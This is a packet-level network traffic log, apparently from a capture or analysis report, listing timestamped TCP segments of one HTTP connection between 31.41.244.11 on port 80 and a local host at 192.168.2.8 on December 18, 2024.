Dec 18, 2024 09:07:23.445990086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.446072102 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.446083069 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.446124077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.446847916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.446963072 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.446975946 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.447016001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.447741032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.447788000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.447788954 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.447799921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.447827101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.447849035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.448621035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.448632956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.448642969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.448681116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.448710918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.449489117 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.449500084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.449510098 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.449546099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.449579954 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.450439930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.450450897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.450460911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.450498104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.451174974 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.451267004 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.451278925 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.451324940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.452097893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.452148914 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.452392101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.452482939 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.452493906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.452543020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.453311920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.453322887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.453332901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.453372955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.453398943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.454082966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.454176903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.454188108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.454238892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.454937935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.455065012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.455075979 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.455116034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.455142975 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.455894947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.455905914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.455916882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.455952883 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.455993891 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.456722021 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.456831932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.456842899 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.456886053 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.457541943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.457612038 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.457623005 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.457663059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.457689047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.458481073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.458492994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.458503962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.458539009 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.458581924 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.459300995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.459367037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.459378004 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.459414959 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.459455967 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.460192919 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.460213900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.460225105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.460264921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.460293055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.461165905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.461213112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.461225033 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.461262941 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.461297989 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.462111950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.462490082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.626900911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.626918077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.626931906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.626985073 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.627028942 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.627060890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.627113104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.627129078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.627140999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.627181053 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.628094912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.628108025 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.628118992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.628158092 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.628864050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.628875017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.628886938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.629010916 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.629698038 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.629851103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.629861116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.629903078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.630590916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.630623102 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.630635977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.630697966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.631494045 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.631658077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.631669044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.631714106 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.632282019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.632349014 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.632380009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.632391930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.632426023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.632450104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.633158922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.633210897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.633223057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.633232117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.633249998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.633275986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.634099960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.634110928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.634123087 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.634167910 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.634457111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.634919882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.634965897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.634977102 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.635015965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.635792017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.635843992 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.635858059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.635869980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.635920048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.636610985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.636688948 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.636699915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.636744022 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.637471914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.637521982 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.637550116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.637562037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.637592077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.637626886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.638400078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.638487101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.638499022 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.638511896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.638564110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.639264107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.639358044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.639368057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.639415026 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.640119076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.640165091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.640176058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.640189886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.640218973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.640985012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.641037941 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.641057014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.641071081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.641104937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.641129971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.641889095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.641956091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.641967058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.642003059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.642035007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.642759085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.642806053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.642838001 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.642880917 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.643627882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.643667936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.643680096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.643724918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.644478083 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.644526958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.644741058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.644807100 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.644818068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.644864082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.645682096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.645693064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.645704031 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.645734072 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.645781040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.646470070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.646536112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.646545887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.646591902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.647358894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.647409916 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.647439957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.647450924 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.647511005 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.648238897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.648289919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.648319960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.648332119 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.648366928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.649146080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.649168015 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.649178982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.649194956 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.649230003 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.649951935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.650002003 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.650170088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.650182962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.650217056 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.650238991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.650835037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.650882006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.650954008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.650965929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.650998116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.651709080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.651751995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.651761055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.651762962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.651796103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.651808023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.652580023 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.652628899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.652662992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.652677059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.652709961 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.652729988 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.653490067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.653561115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.653572083 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.653584003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.653609037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.653630972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.654295921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.654344082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.654496908 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.654509068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.654541016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.654557943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.655184984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.655235052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.655280113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.655291080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.655324936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.655348063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.656091928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.656153917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.656163931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.656207085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.656253099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.656835079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.658488035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.818152905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.818195105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.818206072 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.818267107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.818453074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.818542004 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.818552971 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.818595886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.818631887 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.819341898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.819379091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.819389105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.819439888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.820192099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.820285082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.820296049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.820344925 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.821080923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.821142912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.821154118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.821202040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.821911097 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.822000980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.822010994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.822062016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.822907925 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.822917938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.822932005 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.822993040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.823033094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.823739052 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.823750019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.823760033 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.823818922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.824786901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.824798107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.824803114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.824882030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.825588942 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.825664043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.825700045 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.825742006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.825788021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.826422930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.826433897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.826446056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.826499939 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.827147961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.827220917 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.827270985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.827282906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.827352047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.828052044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.828073978 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.828083992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.828145981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.829025030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.829036951 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.829047918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.829097033 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.829132080 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.830105066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.830156088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.830168009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.830224991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.830804110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.830813885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.830823898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.830871105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.830913067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.831883907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.831932068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.831969976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.831970930 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.832366943 CET	80	49714	31.41.244.11	192.168.2.8
